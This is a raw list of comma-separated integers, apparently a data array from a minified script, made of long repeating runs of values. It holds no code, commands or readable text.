8,38147,38147,38147,27827,22690,42516,42516,42516,42516,38368,22657,22657,40730,46316,46316,36583,38147,38147,40469,42516,42516,42516,42516,38373,22657,28384,46316,46316,36586,38147,27827,22690,34920,42516,38372,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,42516,42516,51537,42516,42516,42516,42516,25917,42516,42516,42516,42516,46741,49861,51029,26099,42516,42516,42516,27632,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,28241,22657,46314,35273,38147,34810,28721,42516,42516,42516,34304,42516,42516,42516,42516,42516,42516,42516,42516,28243,22657,22657,22657,22657,27401,46316,46316,46316,48318,38147,38147,38147,38147,40896,22382,42516,42516,42516,42516,42516,42516,23487,42516,42516,42516,42516,38368,22657,22657,22657,22657,38374,22541,46316,46316,46316,46316,44805,38147,38147,38147,38147,38147,32923,26115,26152,42516,42516,42516,42516,42516,26216,42516,42516,42516,38370,22657,22657,22657,22657,30360,22540,46316,46316,46316,46316,22343,30533,38147,38147,38147,38147,27826,35762,23510,42516,42516,42516,42516,42516,42516,23255,22657,22657,22657,22657,22877,22539,46316,46316,46316,46316,32774,38147,38147,38147,38147,34440,41769,42516,42516,42516,42516,42516,28242,22657,22657,22657,46191,46316,46316,46316,32038,38147,38147,38147,27827,22690,42516,42516,42516,42516,38368,22657,22657,40730,46316,46316,36583,38147,38147,40469,42516,42516,42516,42516,38373,22657,28384,46316,46316,36586,38147,27827,22690,34920,42516,38372,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,42516,42516,51537,42516,42516,42516,42516,25917,42516,42516,42516,42516,46741,49861,51029,26099,42516,42516,42516,27632,42516,42516,31151,42516,42516,42516,42516,42516,42516,42516,28241,22657,46314,35273,38147,34810,28721,42516,42516,42516,34304,42516,42516,31154,42516,42516,42516,42516,42516,28243,22657,22657,22657,22657,27401,46316,46316,46316,48318,38147,38147,38147,38147,40896,22382,42516,42516,42516,42516,42516,42516,23487,42516,42516,42516,42516,38368,22657,22657,22657,22657,38374,22541,46316,46316,46316,46316,44805,38147,38147,38147,38147,38147,32923,26115,26152,42516,42516,42516,42516,42516,23487,42516,42516,42516,38370,22657,22657,22657,22657,30360,22540,46316,46316,46316,46316,22343,30533,38147,38147,38147,38147,27826,35762,23510,42516,42516,42516,42516,42516,42516,23255,22657,22657,22657,22657,22877,22539,46316,46316,46316,46316,32774,38147,38147,38147,38147,34440,41769,42516,42516,42516,42516,42516,28242,22657,22657,22657,46191,46316,46316,46316,32038,38147,38147,38147,27827,22690,42516,42516,42516,42516,38368,22657,22657,40730,46316,46316,36583,38147,38147,40469,42516,42516,42516,42516,38373,22657,28384,46316,46316,36586,38147,27827,22690,34920,42516,38372,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,42516,42516,51537,42516,42516,42516,42516,25917,42516,42516,42516,42516,46741,49861,51029,26099,42516,42516,42516,27632,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,28241,22657,46314,35273,38147,34810,28721,42516,42516,42516,34304,42516,42516,42516,42516,42516,42516,42516,42516,28243,22657,22657,22657,22657,27401,46316,46316,46316,48318,38147,38147,38147,38147,40896,22382,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,38368,22657,22657,22657,22657,38374,22541,46316,46316,46316,46316,44805,38147,38147,38147,38147,38147,32923,22444,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,38370,22657,22657,22657,22657,30360,22540,46316,46316,46316,46316,22343,30533,38147,38147,38147,38147,27826,41766,42516,42516,42516,42516,42516,42516,42516,23255,22657,22657,22657,22657,30361,22539,46316,46316,46316,46316,30525,38147,38147,38147,38147,34440,41769,42516,42516,42516,42516,42516,28242,22657,22657,22657,37745,46316,46316,46316,37798,38147,38147,38147,27827,22690,42516,42516,42516,42516,38368,22657,22657,40730,46316,46316,36583,38147,38147,40469,42516,42516,42516,42516,38373,22657,28384,46316,46316,36586,38147,27827,22690,34920,42516,38372,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,42516,42516,51537,42516,42516,42516,42516,25917,42516,42516,42516,42516,46741,49861,51029,26099,42516,42516,42516,27632,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,28241,22657,46314,35273,38147,34810,22786,42516,42516,42516,34304,42516,42516,42516,42516,42516,42516,42516,42516,28243,22657,22657,22657,22657,27401,46316,46316,46316,48318,38147,38147,38147,38147,40896,22382,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,38368,22657,22657,22657,22657,38374,22541,46316,46316,46316,46316,44805,38147,38147,38147,38147,38147,32923,22444,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,38370,22657,22657,22657,22657,30360,22540,46316,46316,46316,46316,22343,30533,38147,38147,38147,38147,27826,41766,42516,42516,42516,42516,42516,42516,42516,23255,22657,22657,22657,22657,30361,22539,46316,46316,46316,46316,30525,38147,38147,38147,38147,34440,41769,42516,42516,42516,42516,42516,28242,22657,22657,22657,37745,46316,46316,46316,37798,38147,38147,38147,27827,22690,42516,42516,42516,42516,38368,22657,22657,40730,46316,46316,36583,38147,38147,40469,42516,42516,42516,42516,38373,22657,28384,46316,46316,36586,38147,27827,22690,34920,42516,38372,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,42516,42516,51537,42516,42516,42516,42516,25917,42516,42516,42516,42516,46741,49861,51029,26258,42516,42516,42516,27632,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,28241,22657,46314,35273,38147,34810,28721,42516,42516,42516,34304,42516,42516,42516,42516,42516,42516,42516,42516,28243,22657,22657,22657,22657,27401,46316,46316,46316,48318,38147,38147,38147,38147,40896,22382,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,38368,22657,22657,22657,22657,38374,22541,46316,46316,46316,46316,44805,38147,38147,38147,38147,38147,32923,22444,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,38370,22657,22657,22657,22657,30360,22540,46316,46316,46316,46316,22343,30533,38147,38147,38147,38147,27826,41766,42516,42516,42516,42516,42516,42516,42516,23255,22657,22657,22657,22657,30361,22539,46316,46316,46316,46316,30525,38147,38147,38147,38147,34440,41769,42516,42516,42516,42516,42516,28242,22657,22657,22657,37745,46316,46316,46316,37798,38147,38147,38147,27827,22690,42516,42516,42516,42516,38368,22657,22657,40730,46316,46316,36583,38147,38147,40469,42516,42516,42516,42516,38373,22657,28384,46316,46316,36586,38147,27827,22690,34920,42516,38372,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,42516,42516,51537,42516,42516,42516,42516,25917,48694,42516,42516,42516,46741,49861,51029,26099,42516,42516,42516,27632,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,28241,22657,46314,35273,38147,34810,28721,42516,42516,42516,34304,42516,42516,42516,28605,42516,42516,42516,42516,28243,22657,22657,22657,22657,27401,46316,46316,46316,48318,38147,38147,38147,38147,40896,22382,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,38368,22657,22657,22657,22657,38374,22541,46316,46316,46316,46316,44805,38147,38147,38147,38147,38147,32923,22444,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,38370,22657,22657,22657,22657,30360,22540,46316,46316,46316,46316,22343,30533,38147,38147,38147,38147,27826,41766,42516,42516,42516,42516,42516,42516,42516,23255,22657,22657,22657,22657,30361,22539,46316,46316,46316,46316,30525,38147,38147,38147,38147,34440,41769,42516,42516,42516,42516,42516,28242,22657,22657,22657,37745,46316,46316,46316,37798,38147,38147,38147,27827,22690,42516,42516,42516,42516,38368,22657,22657,40730,46316,46316,36583,38147,38147,40469,42516,42516,42516,42516,38373,22657,28384,46316,46316,36586,38147,27827,22690,34920,42516,38372,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,42516,42516,51537,42516,42516,42516,42516,25917,42516,42516,42516,42516,47769,26274,26287,26099,42516,42516,42516,27632,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,28241,22657,46314,35273,38147,34810,28721,42516,42516,42516,34304,42516,42516,42516,42516,42516,42516,42516,42516,28243,22657,22657,22657,22657,27401,46316,46316,46316,48318,38147,38147,38147,38147,40896,22382,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,38368,22657,22657,22657,22657,38374,22541,46316,46316,46316,46316,44805,38147,38147,38147,38147,38147,32923,22444,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,38370,22657,22657,22657,22657,30360,22540,46316,46316,46316,46316,22343,30533,38147,38147,38147,38147,27826,41766,42516,42516,42516,42516,42516,42516,42516,23255,22657,22657,22657,22657,30361,22539,46316,46316,46316,46316,30525,38147,38147,38147,38147,34440,41769,42516,42516,42516,42516,42516,28242,22657,22657,22657,37745,46316,46316,46316,37798,38147,38147,38147,27827,22690,42516,42516,42516,42516,38368,22657,22657,40730,46316,46316,36583,38147,38147,40469,42516,42516,42516,42516,38373,22657,28384,46316,46316,36586,38147,27827,22690,34920,42516,38372,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,42516,42516,51537,42516,42516,42516,42516,25917,42516,42516,42516,42516,46741,49861,51029,26099,42516,42516,42516,27632,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,28241,22657,46314,35273,38147,34810,28721,42516,42516,42516,34304,42516,42516,42516,42516,42516,42516,42516,42516,28243,22657,22657,22657,22657,27401,46316,46316,46316,48318,38147,38147,38147,38147,40896,22382,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,38368,22657,22657,22657,22657,38374,22541,46316,46316,46316,46316,44805,38147,38147,38147,38147,38147,32923,22444,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,38370,22657,22657,22657,22657,30360,22540,46316,46316,46316,46316,22343,30533,38147,38147,38147,38147,27826,41766,42516,42516,42516,42516,42516,42516,42516,23255,22657,22657,22657,22657,30361,22539,46316,46316,46316,46316,30525,38147,38147,38147,38147,34440,41769,42516,42516,42516,26303,42516,28242,22657,22657,22657,37745,46316,46316,46316,37798,38147,38147,38147,27827,22690,42516,42516,42516,42516,38368,22657,22657,40730,46316,46316,36583,38147,38147,40469,42516,42516,42516,42516,38373,22657,28384,46316,46316,36586,38147,27827,22690,34920,42516,38372,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,26324,42516,42516,42516,42516,51537,42516,42516,42516,42516,25917,42516,42516,42516,42516,46741,49861,51029,26099,42516,42516,42516,27632,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,28241,22657,46314,35273,38147,34810,28721,42516,42516,42516,34304,42516,42516,42516,42516,42516,42516,42516,42516,28243,22657,22657,22657,22657,27401,46316,46316,46316,48318,38147,38147,38147,38147,40896,22382,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,38368,22657,22657,22657,22657,38374,22541,46316,46316,46316,46316,44805,38147,38147,38147,38147,38147,32923,22444,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,38370,22657,22657,22657,22657,30360,22540,46316,46316,46316,46316,22343,30533,38147,38147,38147,38147,27826,41766,42516,42516,42516,42516,42516,42516,42516,23255,22657,22657,22657,22657,30361,22539,46316,46316,46316,46316,30525,38147,38147,38147,38147,34440,41769,42516,42516,42516,42516,42516,28242,22657,22657,22657,37745,46316,46316,46316,37798,38147,38147,38147,27827,22690,42516,42516,42516,42516,38368,22657,22657,40730,46316,46316,36583,38147,38147,40469,42516,42516,42516,42516,38373,22657,28384,46316,46316,36586,38147,27827,22690,34920,42516,38372,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,21141,42516,42516,42516,42516,48069,42516,42516,42516,42516,25917,35004,26345,26373,26362,26396,35005,26346,21040,42516,42516,42516,27632,42516,42516,51474,42516,42516,42516,42516,42516,42516,42516,32629,20505,21066,18953,21068,19019,18919,18270,40105,18293,18315,42516,42516,18360,37963,49435,42820,18380,18411,18395,18574,19226,18433,20169,18459,25598,18486,18508,51199,18465,25604,18492,18514,20728,18530,42516,30418,42516,42516,42516,50250,25964,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,18590,26008,18612,18632,18596,18470,18594,26012,18616,18636,20798,20741,20757,42516,18652,18689,18711,18748,18695,18788,42516,41546,48871,18807,18835,19802,18823,19840,25206,18851,18904,18942,18979,19680,19006,18851,18904,18942,18979,19680,19045,20750,46697,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,19242,19278,25525,20579,19301,19596,19271,25518,20572,19294,19589,19324,19353,35639,19379,39467,19401,41728,19421,19500,24458,19544,19575,19614,19632,19650,19559,19612,19630,19648,19666,19029,19696,19712,19728,19753,19773,19830,19435,19449,19888,19905,19856,19887,19904,19921,19947,19984,26423,20080,20119,20157,20536,20191,20213,20542,20197,20219,19931,20235,20264,20301,20317,20346,20333,20349,20365,20381,20397,20422,20606,20438,20477,20503,21067,21068,20521,20558,20595,20622,20652,23888,18878,20683,20699,20715,20779,20814,20880,20890,20906,19463,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,21141,42516,42516,42516,42516,48069,42516,42516,42516,42516,25917,42516,42516,42516,42516,42516,42516,42517,21040,42516,42516,42516,27632,42516,42516,51474,42516,42516,42516,42516,42516,42516,42516,32629,20505,21066,18953,21068,19019,18919,18270,40105,18293,18315,42516,42516,18360,42516,49435,42820,18380,18411,18395,18574,19226,18433,20169,18459,25598,18486,18508,51199,18465,25604,18492,18514,20728,18530,42516,30418,42516,42516,42516,50250,25964,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,18590,26008,18612,18632,18596,18470,18594,26012,18616,18636,20798,20741,20757,42516,18652,18689,18711,18748,18695,18788,42516,41546,48871,18807,18835,19802,18823,19840,25206,18851,18904,18942,18979,19680,19006,18851,18904,18942,18979,19680,19045,20750,46697,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,19242,19278,25525,20579,19301,19596,19271,25518,20572,19294,19589,19324,19353,35639,19379,39467,19401,41728,19421,19500,24458,19544,19575,19614,19632,19650,19559,19612,19630,19648,19666,19029,19696,19712,19728,19753,19773,19830,19435,19449,19888,19905,19856,19887,19904,19921,19947,19984,20043,20080,20119,20157,20536,20191,20213,20542,20197,20219,19931,20235,20264,20301,20317,20346,20333,20349,20365,20381,20397,20422,20606,20438,20477,20503,21067,21068,20521,20558,20595,20622,20652,23888,18878,20683,20699,20715,20779,20814,20880,20890,20906,19463,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,21141,42516,42516,42516,42516,48069,42516,42516,42516,42516,25917,47727,42516,26460,26483,26467,42516,47735,21040,42516,42516,42516,27632,42516,42516,51474,42516,42516,42516,42516,42516,42516,42516,32629,20505,21066,18953,21068,19019,18919,18270,40105,18293,18315,42516,42516,18360,42516,49435,42820,18380,18411,18395,18574,19226,18433,20169,18459,25598,18486,18508,51199,18465,25604,18492,18514,20728,18530,42516,30418,42516,42516,42516,50250,25964,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,18590,26008,18612,18632,18596,18470,18594,26012,18616,18636,20798,20741,20757,42516,18652,18689,18711,18748,18695,18788,42516,41546,48871,18807,18835,19802,18823,19840,25206,18851,18904,18942,18979,19680,19006,18851,18904,18942,18979,19680,19045,20750,46697,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,19242,19278,25525,20579,19301,19596,19271,25518,20572,19294,19589,19324,19353,35639,19379,39467,19401,41728,19421,19500,24458,19544,19575,19614,19632,19650,19559,19612,19630,19648,19666,19029,19696,19712,19728,19753,19773,19830,19435,19449,19888,19905,19856,19887,19904,19921,19947,19984,20043,20080,20119,20157,20536,20191,20213,20542,20197,20219,19931,26499,20264,20301,20317,20346,20333,20349,20365,26535,20397,20422,20606,20438,26551,20503,21067,21068,20521,20558,20595,20622,20652,23888,18878,20683,20699,20715,20779,20814,20880,20890,20906,19463,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,29068,42516,42516,42516,51537,26585,26616,29663,26601,26633,26690,26699,26715,26730,26742,26758,26771,26099,19999,42516,26787,26162,26806,41856,26832,26883,26907,26946,30733,26962,26998,27019,27054,46783,31896,27070,46885,46348,36728,27120,42516,42516,34304,27137,37896,42516,27163,34995,39190,42516,27184,43650,22657,22657,22657,27203,27401,46316,46316,41985,48318,38147,38147,38147,37213,40896,22382,42516,27222,48046,42516,27243,27263,27280,42516,42516,27038,20763,27308,27328,22657,22657,27363,27386,27419,35266,46316,30482,27448,27495,27524,27566,38147,35889,38740,46095,27585,26152,27628,42516,45564,42516,47310,23487,42516,46936,27648,27669,27685,34339,22657,27729,22984,44673,27748,45967,46316,27773,39768,32782,27791,37607,38147,27824,22485,27843,27859,27882,27899,42516,27922,31758,27943,23255,33056,27962,22657,42185,33093,27982,30091,46316,35423,43042,32774,28017,38147,38147,42363,28033,23138,28062,40096,28115,41486,28137,21969,22956,28160,22657,46191,35558,28176,28197,32038,49740,47969,28214,27827,28233,42899,42516,21253,42516,38368,42934,43766,40730,37393,48025,36583,51021,44713,40469,42516,42516,42516,42516,38373,22657,28384,46316,46316,36586,38147,27827,22690,34920,42516,38372,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,28260,28298,33550,28320,28341,28379,28401,28421,26921,40729,36585,44924,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,28445,42516,42516,51537,42516,42516,42516,42516,31409,28464,42516,28489,28496,28512,28528,28541,26099,42516,42516,42516,27632,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,28241,42942,46314,28557,30860,34810,28721,42516,42516,42516,34304,42516,42516,42516,42516,42516,42516,42516,42516,28243,22657,22657,22657,22657,27401,46316,46316,46316,48318,38147,38147,38147,38147,40896,22382,42516,42516,42516,42516,42516,28583,23487,28604,45602,42516,42516,38368,22657,22657,22657,44648,28621,22541,46316,46316,46316,40008,44805,38147,38147,38147,38147,41449,32923,26115,26152,42516,42516,42516,42516,42516,23487,42516,42516,42516,38370,22657,22657,22657,22657,30360,22540,46316,46316,46316,46316,22343,30533,38147,38147,38147,38147,27826,35762,23510,42516,32305,42516,42516,28652,43395,23255,28671,22657,22657,22657,28690,28706,46316,46316,46316,37589,32774,28762,38147,38147,38147,44356,41769,42516,42516,42516,42516,42516,28242,22657,22657,22657,46191,46316,46316,46316,32038,38147,38147,38147,27827,22690,42516,42516,42516,42516,38368,22657,22657,40730,46316,46316,36583,38147,38147,40469,42516,42516,42516,42516,38373,22657,28384,46316,46316,36586,38147,27827,22690,34920,42516,38372,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,23013,26674,44310,41661,28244,40729,36585,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,28784,42516,42516,51537,42516,28813,42516,28831,36313,28851,28860,28876,28891,28903,28919,28932,26099,42516,42516,33807,29427,42516,42516,28948,42516,28965,42516,42516,42516,25275,42516,28986,44283,46314,29021,22622,37863,32069,42516,29066,42516,34304,29084,49128,42516,45291,29103,36853,42516,39408,30216,37513,22657,22657,22657,29138,29162,46316,46316,48917,29187,29203,38147,38147,40896,22382,23471,42516,42516,37970,42516,41320,23487,39926,29222,42516,42516,38368,29257,38293,22657,29296,38374,29315,31567,38618,38779,46316,44805,42631,29346,29367,48610,38147,32923,26115,26152,42516,42516,35359,42516,36267,23487,42516,42516,42516,38370,22657,22657,38875,29587,30360,22540,46316,46316,49716,48753,22343,30533,38147,38147,47896,47206,27826,35762,29388,42516,42516,42516,29423,42516,29443,23255,22657,22657,22657,43545,22877,22539,46316,46316,49625,46316,32774,38147,38147,38147,29464,34440,41769,42516,42516,19074,42516,46902,29483,22657,45738,22657,46191,46316,28001,46316,32038,38147,48630,38147,27827,29518,29546,42516,39530,20864,38368,29566,29583,46250,46316,29603,36583,29623,29640,40469,42516,42516,42516,29661,38373,22657,29679,46316,51108,36586,38147,50541,22690,34920,42516,38372,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,29702,29722,29738,29754,28244,40729,36585,22448,28385,36584,34366,22755,31692,34720,29778,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,26790,42516,42516,51537,42516,29812,25227,42516,31450,29831,29840,29856,29871,29878,29894,29907,26099,42516,42516,42516,27632,42516,42516,42516,42516,42516,42516,31072,31070,42516,32276,32283,40826,29686,35273,29923,34810,28721,42516,35352,29943,34304,42516,29968,36872,42516,42516,29988,30012,34471,30028,22581,34160,30064,24121,30107,48780,30128,30172,30191,29624,22523,47650,28217,40896,22382,42516,42516,42516,42735,42516,30232,23487,42516,42516,42516,27906,38368,22657,22657,22657,26867,38374,22541,46316,46316,46316,37425,44805,38147,38147,38147,38147,30252,50615,30272,30304,42516,42516,42516,30320,30338,23487,42516,42516,27104,21782,30358,30377,22657,22657,30395,30434,30481,30498,46316,46316,30515,51071,30551,30568,38147,38147,30585,35762,23510,42516,42516,42516,42516,42516,30625,23255,30648,22657,22657,30668,22877,30687,46316,46316,34855,46316,32837,38147,38147,43217,38147,34440,41769,45029,42516,30729,42516,21024,28242,29299,22657,30749,46191,50174,46316,30776,32038,38147,30812,48472,27827,22690,23708,42516,42516,42516,38368,22657,22657,40730,46316,46316,36583,38147,38147,40469,42516,37071,42516,42516,38373,22657,31523,46316,43307,36586,38147,39352,22690,34920,42516,38372,43148,46316,38137,38147,30829,36804,38368,28385,28404,30535,27085,28354,31634,30852,30600,30074,38197,42103,28244,40729,36585,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,21805,30876,42516,51537,49762,30895,42516,30918,43094,30942,30951,30967,30982,30994,31010,31023,26099,42516,31039,39573,31055,20844,31088,31151,40795,31438,31118,31138,31170,31208,31224,31259,31325,39316,31341,31357,42305,39859,31243,31397,39944,31425,33906,31466,31484,36903,42516,42516,38844,42516,28243,31508,40831,43064,26242,31546,31583,49551,32501,35578,43001,31607,35023,30465,31623,22382,40777,39e3,31658,40711,31716,41838,31747,42230,41234,31783,31813,31829,31873,31912,31936,31952,31988,32019,35868,32054,38034,47598,32094,32110,32136,39813,32152,32186,47170,32233,26152,32263,42516,49503,42516,32299,32321,32337,32365,32386,32406,32424,22657,35078,32463,30760,22540,32487,46316,47681,50971,43200,30533,32517,38147,37625,38481,40265,32560,23510,18666,32576,32596,39698,32624,37664,32645,31965,32706,47478,32693,32731,32762,40433,46316,32798,32825,32774,32853,32872,49013,32893,32919,41769,42516,21429,46706,42516,42516,32939,25143,43551,27695,46191,47568,50517,33128,32038,44391,37914,44027,27827,22690,51501,22158,32960,23571,32997,33045,33080,33109,33144,33160,33196,33225,33259,33289,25257,41794,33305,33321,22943,47433,44826,33342,33363,33392,45913,37247,22690,23238,33434,38372,47456,46316,49977,38147,33455,33478,32944,28385,33515,33536,30206,38372,33571,38971,31372,39304,33587,33611,33627,33643,33674,33720,28385,36584,33273,33742,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,33784,42516,51537,33805,33823,29972,43389,33866,33897,42516,33882,33940,33947,33963,33976,26099,42516,42516,20279,27632,42516,42516,42516,42516,42516,41269,42516,41261,42516,41268,25123,41628,38176,37400,33992,34810,28721,42516,34012,42516,34304,34012,42516,42516,42516,34029,34013,37295,42516,28243,34045,22657,22657,22657,34069,34103,46316,46316,48318,47159,38147,38147,38147,40896,22382,42516,42516,42516,42516,42516,42516,23487,42516,42516,45931,42516,38368,22657,22657,22657,44213,38374,22541,46316,46316,46316,42968,44805,38147,38147,38147,38147,34120,32923,26115,26152,42516,42516,42516,42516,42516,23487,42516,46602,42516,38370,22657,22657,30041,22657,30360,22540,46316,46316,42268,46316,22343,30533,38147,38147,44e3,38147,27826,35762,23510,42516,42516,42516,42516,42516,39273,23255,22657,22657,22657,37139,22877,22539,46316,46316,49643,46316,32774,38147,38147,38147,48815,34440,41769,42516,42516,42516,42516,42516,28242,22657,22657,22657,46191,46316,46316,46316,32038,38147,38147,38147,27827,22690,42516,42516,42516,42516,38368,22657,22657,40730,46316,46316,36583,38147,38147,40469,46733,42516,42516,42516,36647,22657,28384,27995,46316,49984,38147,27827,22690,34920,42516,38372,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,44874,43254,31692,29762,34139,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,42516,42516,51537,42516,38852,42516,42516,51280,34176,34185,34201,34208,34215,34231,34244,26099,42516,42516,42516,27632,42516,42516,34401,42516,42516,42516,42516,42516,42516,42516,28241,22657,46314,35273,38147,34810,37878,42057,42516,42516,34304,42516,42516,42516,42516,34260,42516,42516,42516,28243,22657,22657,22657,22657,27401,46316,46316,46316,48318,38147,38147,38147,38147,40896,22382,42516,42516,42516,42516,42516,42516,42516,42516,34278,42516,28081,38368,22657,22657,22657,22657,38374,42076,46316,46316,46316,46316,46212,38147,38147,38147,38147,38147,32923,22444,42516,42516,42516,47761,42516,34299,19108,42516,42516,19113,34320,22657,22657,34338,22657,30360,22540,46316,34104,46316,46316,22343,30533,38147,42837,38147,38147,27826,34355,42516,42516,42516,34399,42516,42516,42516,23255,22657,22657,22657,22657,30361,22539,46316,46316,46316,46316,30525,38147,38147,38147,38147,34440,41769,42516,42516,38663,42516,34417,28242,22657,22657,38760,37745,46316,46316,50996,37798,38147,38147,38147,34438,22690,34456,18364,34487,34538,24114,31309,31274,34559,34565,27432,34581,44559,30458,34604,22076,42516,19757,34657,29792,34679,47804,33555,31559,34736,35451,34758,22690,41150,39051,35676,32439,38610,34776,34795,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,34366,22755,34833,34871,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,42516,42516,51537,42516,42516,42516,42516,25917,42516,42516,42516,42516,46741,49861,51029,26099,18277,42516,42516,34899,42516,42516,42516,36062,42516,36065,42516,42516,34947,34936,36697,22657,34963,27757,38148,48007,